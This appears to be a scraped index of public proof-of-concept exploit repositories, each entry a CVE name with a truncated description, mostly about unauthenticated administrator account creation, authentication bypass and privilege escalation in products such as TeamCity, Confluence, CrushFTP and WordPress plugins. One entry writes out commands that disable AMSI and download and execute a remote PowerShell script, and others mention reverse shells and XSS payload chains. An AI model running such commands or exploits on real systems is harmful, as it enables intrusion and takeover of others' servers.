CVE-2025-10352-POC

CVE-2025-10352 POC - Admin Account Creation 🛠️ POC for CVE-2025-10352: An unauthenticated endpoint in Melis Platform melis-core that allows creation of an administrator account via a crafted HTTP request to a specific admin endpoint. 🔗 References 📄 CVE-2025-10352 on MITRE 📄 Melis Platform Warning...

CVE-2026-27944

CVE-2026-27944 POC: Nginx UI Unauthenticated Backup Download + Dashboard Access This repository contains an enhanced Proof of Concept POC exploit for CVE-2026-27944 , a critical vulnerability in Nginx UI. The vulnerability allows an unauthenticated attacker to download system backups via the...

CVE-2025-69459

CVE-2025-69459 – Movie Rating System 1.0 Broken Access Control Admin Account Creation Unauthenticated WriteUp CVE-2025-69459 – ExploitDB 50621...

CVE-2023-42793

CVE-2023-42793 - TeamCity Admin Account Creation lead to RCE use exploit.py first to creat administrator account for you and then use rce.py to execute commands on the target, and for reverse shell check this exploit script Description This script exploits CVE-2023-42793 to create an admin accoun...

CVE-2024-0204

CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive This repository contains a proof-of-concept exploit for the authentication bypass vulnerability CVE-2024-0204 discovered in Fortra's GoAnywhere MFT product. The vulnerability allows an unauthenticated attacker to create an...

Blackash-CVE-2025-31161

Blackash-CVE-2025-31161 CVE-2025-31161 Proof of Concept for CVE-2025-31161 / CVE-2025-2825 This POC will exploit the authbypass vulnerability to create a new user account with Admin level permissions. The Auth Bypass requires the username targetuser of an existing user on the CrushFTP server. The...

CVE-2024-27956

🚨POC RELEASED🚨PoC for SQL Injection leads to RCE in Wordpress released CVE-2024-27956. WordPress Admin Account Creation and Reverse Shell cve-2024-27956 Usage- sudo python3 cve.py...

cve-2021-1675

cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...

CVE-2023-3460

🚨 CVE-2023-3460 - WordPress Ultimate Member Privilege Escalation Exploit This is a proof-of-concept PoC exploit for CVE-2023-3460, a critical vulnerability in the WordPress plugin Ultimate Member. It allows unauthenticated users to escalate their privileges to Administrator by crafting a maliciou...

CVE-2019-6249_Hucart-cms

CVE-2019-6249Hucart cms I. Vulnerability Summary Vulnerability Name: CSRF vulnerability in Hucart cms v5.7.4 allows arbitrary addition of administrator accounts Disclosure Date: 2019-01-13 Discovered by: AllenChen [email protected] Product Homepage: http://www.hucart.com/ Software Link:...

cve-2023-22515

CVE-2023-22515 This describes the logic of exploiting the vulnerability via Burp Suite. To exploit, you need to change the value of the attribute bootstrapStatusProvider.applicationConfig.setupComplete to false, i.e., execute the request: Endpoint for switching Confluence to setup mode: GET...

CVE-2026-51119

CVE-2026-51119 - Privilege Escalation in Invixium IXM WEB v2.3.85.25 Overview A privilege escalation vulnerability exists in Invixium IXM WEB v2.3.85.25 due to missing authorization checks on the POST /SystemUsers/CreateAppUser endpoint. An authenticated low-privileged user can abuse this endpoin...

CVE-2025-48129

🚨 CVE-2025-48129 - Privilege Escalation in WordPress Spreadsheet Price Changer Plugin 🛡️ Vulnerability Summary Plugin Affected : Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light Vulnerable Versions : Classified under: OWASP A7 – Identification and Authentication Failures 🧪...

CVE-2026-8181

CVE-2026-8181 This vulnerability allows unauthenticated attackers who know a valid administrator username to impersonate that admin during REST API requests by using any incorrect password in a Basic Authentication header. Attackers could abuse this flaw to create a new administrator account...

CVE-2018-15365

Reflected XSS in Deep Discovery Inspector 3.8 I've found a reflected XSS vulnerability in the management web interface of Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 Vulnerable script path is /php/detectiondetailfilter.php. This script is accessible only by an authenticated user,...

CVE-2015-9357-POC

CVE-2015-9357 wordpress smiley/emoticon parser stored xss, admin user creation via forged nonce request. breaks out of attribute context through the emoticon regex, lands js in an onerror handler. no script tag needed, survives wpkses filtering on the affected field. chain: submit payload to any...

CVE-2023-3460

CVE-2023-3460 - Unauthorized admin access for Ultimate Member plugin POC CVSS score: 9.1 Date: 07/04/2023 What is ultimate member plugin? Ultimate member plugin is a popular membership plugin for registering user's, the plugin has 200,000+ active installation. Quick Check A critical vulnerability...

CVE-2023-22515-Exploit-Script

Automated Exploitation of CVE-2023-22515 - Confluence Privilege Escalation This repository contains an automated exploit script for CVE-2023-22515, a critical vulnerability in Atlassian Confluence that allows unauthorized attackers to create administrative accounts and gain full control of...

harbor-give-me-admin

Harbor Admin Account Creation Vulnerability Detection Tool 0x00 Overview In 201909, Harbor disclosed a vulnerability that allows adding an administrator through the registration function. By using the registration API /api/users and crafting a POST parameter "hasadminrole": true, an administrator...

CVE-2026-72898

Metabase SQL Injection RCE Unauthenticated SQL injection in Metabase /api/session/resetpassword endpoint. Creates admin accounts and extracts database credentials. Affected : v58.0 - v63.3 | Patched : v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+ Quick Start pip install flask requests python...